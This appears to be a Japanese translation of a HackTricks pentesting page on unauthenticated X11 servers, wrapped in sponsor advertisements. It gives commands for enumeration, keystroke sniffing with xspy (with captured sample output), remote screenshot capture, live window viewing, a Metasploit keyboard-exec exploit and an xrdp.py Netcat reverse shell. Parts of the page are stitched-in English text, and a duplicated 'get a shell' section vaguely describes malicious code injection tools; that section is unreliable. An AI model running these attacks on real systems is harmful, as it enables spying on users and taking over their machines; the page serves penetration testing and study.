hacktricks/network-services-pentesting/6000-pentesting-x11.md

244 lines
14 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 6000 - X11のペンテスト
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details>
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
**HackenProofはすべての暗号バグバウンティの場です。**
**遅延なしで報酬を受け取る**\
HackenProofのバウンティは、顧客が報酬予算を入金した後に開始されます。バグが検証された後に報酬を受け取ることができます。
**Web3ペンテストの経験を積む**\
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです上昇期のWeb3セキュリティをマスターしましょう。
**Web3ハッカーレジェンドになる**\
各検証済みのバグで評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
[**HackenProofでサインアップ**](https://hackenproof.com/register)して、ハッキングから報酬を得ましょう!
{% embed url="https://hackenproof.com/register" %}
## 基本情報
X Window SystemXとも呼ばれるは、ビットマップディスプレイ用のウィンドウシステムであり、UNIXベースのオペレーティングシステムで一般的に使用されています。XはGUIベースの環境の基本的なフレームワークを提供します。また、Xはユーザーインターフェースを強制しません-個々のプログラムがこれを処理します。\
参照元:[https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
**デフォルトポート:** 6000
```
PORT STATE SERVICE
6000/tcp open X11
```
## 列挙
**匿名接続**をチェックします:
```bash
nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11
```
#### ローカル列挙
ユーザーのホームフォルダにあるファイル **`.Xauthority`** は、**X11の認証**に使用されます。[**ここから**](https://stackoverflow.com/a/37367518)
> MIT-magic-cookie-1: 128ビットのキー"cookie")を生成し、それを \~/.XauthorityまたはXAUTHORITY環境変数が指す場所に保存します。クライアントはそれを平文でサーバーに送信しますサーバーはこの "cookie" のコピーを持っているかどうかをチェックし、もしそうであれば接続が許可されます。キーはDMXによって生成されます。
{% hint style="warning" %}
**クッキーを使用する**には、環境変数 **`export XAUTHORITY=/path/to/.Xauthority`** を設定する必要があります。
{% endhint %}
## 接続の検証
```bash
xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0
```
## キーロギング
[xspy](http://tools.kali.org/sniffingspoofing/xspy)はキーボードのキーストロークを嗅ぎます。
サンプル出力:
```
xspy 10.9.xx.xx
opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab
```
## スクリーンショットのキャプチャ
Screenshots can be a valuable tool during a penetration test to document findings and provide evidence of successful exploits. In the context of X11, capturing screenshots can be done using various tools and techniques.
### Using xwd
One way to capture screenshots in X11 is by using the `xwd` command-line tool. This tool allows you to capture the contents of an X11 window or the entire screen and save it as an XWD (X Window Dump) file.
To capture the contents of a specific window, you can use the `-id` option followed by the window ID. For example:
```
xwd -id 0x12345678 -out screenshot.xwd
```
To capture the entire screen, you can omit the `-id` option:
```
xwd -root -out screenshot.xwd
```
Once you have captured the screenshot as an XWD file, you can view it using an image viewer or convert it to a more common image format like PNG using the `convert` command from the ImageMagick package:
```
convert screenshot.xwd screenshot.png
```
### Using scrot
Another tool that can be used to capture screenshots in X11 is `scrot`. Scrot is a command-line utility specifically designed for taking screenshots.
To capture the entire screen using scrot, simply run the following command:
```
scrot screenshot.png
```
By default, scrot captures the entire screen and saves the screenshot as a PNG file. You can also specify a delay before capturing the screenshot using the `-d` option, and select a specific window to capture using the `-u` option.
### Using other tools
There are also other tools available for capturing screenshots in X11, such as `import` from the ImageMagick package and `gnome-screenshot` for GNOME desktop environments. These tools provide additional features and options for capturing screenshots.
It's important to note that capturing screenshots may require appropriate permissions and access to the X11 display. Additionally, capturing screenshots of sensitive information without proper authorization may be illegal and unethical. Always ensure you have the necessary permissions and follow ethical guidelines when performing penetration testing.
```bash
xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png
```
## リモートデスクトップビュー
参照元: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
```
./xrdp.py <IP:0>
```
方法: [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
最初に、xwininfoを使用してウィンドウのIDを見つける必要があります。
```
xwininfo -root -display 10.9.xx.xx:0
xwininfo: Window id: 0x45 (the root window) (has no name)
Absolute upper-left X: 0
Absolute upper-left Y: 0
Relative upper-left X: 0
Relative upper-left Y: 0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners: +0+0 -0+0 -0-0 +0-0
-geometry 1024x768+0+0
```
**XWatchwin**
**ライブビューイング**のためには、以下のコマンドを使用する必要があります。
```bash
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45
```
## シェルを取得する
To get a shell on a target system, we can exploit vulnerabilities in the X11 server. The X11 server is responsible for managing graphical user interfaces on Unix-like operating systems.
To exploit X11 vulnerabilities, we can use tools like Xspy, XEvil, or Xinject. These tools allow us to inject malicious code into the X11 server, which can then be used to execute commands on the target system.
Once we have successfully exploited the X11 server, we can use the injected code to spawn a shell on the target system. This shell will give us full control over the system, allowing us to execute commands, access files, and perform other actions.
It is important to note that exploiting X11 vulnerabilities requires careful planning and execution. It is recommended to thoroughly test the exploit in a controlled environment before attempting it on a target system.
## シェルを取得する
ターゲットシステムでシェルを取得するために、X11サーバーの脆弱性を悪用することができます。X11サーバーは、Unix系オペレーティングシステム上でグラフィカルユーザーインターフェースを管理する役割を担っています。
X11の脆弱性を悪用するために、Xspy、XEvil、またはXinjectなどのツールを使用することができます。これらのツールを使用すると、悪意のあるコードをX11サーバーに注入することができます。この注入されたコードを使用して、ターゲットシステム上でコマンドを実行することができます。
X11サーバーを成功裏に悪用した後、注入されたコードを使用してターゲットシステム上でシェルを生成することができます。このシェルを使用すると、システム全体を完全に制御することができ、コマンドの実行、ファイルへのアクセス、その他の操作を行うことができます。
X11の脆弱性を悪用するには、注意深い計画と実行が必要です。ターゲットシステムで試す前に、コントロールされた環境でエクスプロイトを徹底的にテストすることをおすすめします。
```
msf> use exploit/unix/x11/x11_keyboard_exec
```
他の方法:
**リバースシェル:** XrdpはNetcatを介してリバースシェルを取得することも可能です。以下のコマンドを入力します
**./xrdp.py \<IP:0> no-disp**
![](../.gitbook/assets/112217\_0051\_ExploitingX15.jpeg)
新しいコントロールパネルが表示され、Rシェルオプションが表示されます。以下に示します
![](../.gitbook/assets/112217\_0051\_ExploitingX16.jpeg)
ローカルシステムでポート5555でNetcatのリスニングモードを開始します。以下に示します
![](../.gitbook/assets/112217\_0051\_ExploitingX17.jpeg)
次に、IPとポートを追加し、R-Shellを選択します。以下に示します
![](../.gitbook/assets/112217\_0051\_ExploitingX18.jpeg)
以下のように、完全なシステムアクセスが確認できます:
![](../.gitbook/assets/112217\_0051\_ExploitingX19.jpeg)
{% embed url="https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref" %}
## Shodan
* `port:6000 x11`
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
**HackenProofはすべての暗号バグバウンティの場所です。**
**遅延なしで報酬を受け取る**\
HackenProofのバウンティは、顧客が報酬予算を入金した後に開始されます。バグが検証された後に報酬を受け取ります。
**Web3ペンテストの経験を積む**\
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです成長するWeb3セキュリティをマスターしましょう。
**Web3ハッカーレジェンドになる**\
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
[**HackenProofでサインアップ**](https://hackenproof.com/register) ハッキングから報酬を得ましょう!
{% embed url="https://hackenproof.com/register" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**してみませんか?または、**最新バージョンのPEASSをダウンロード**したり、**PDFでHackTricksをダウンロード**したりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです
* [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
</details>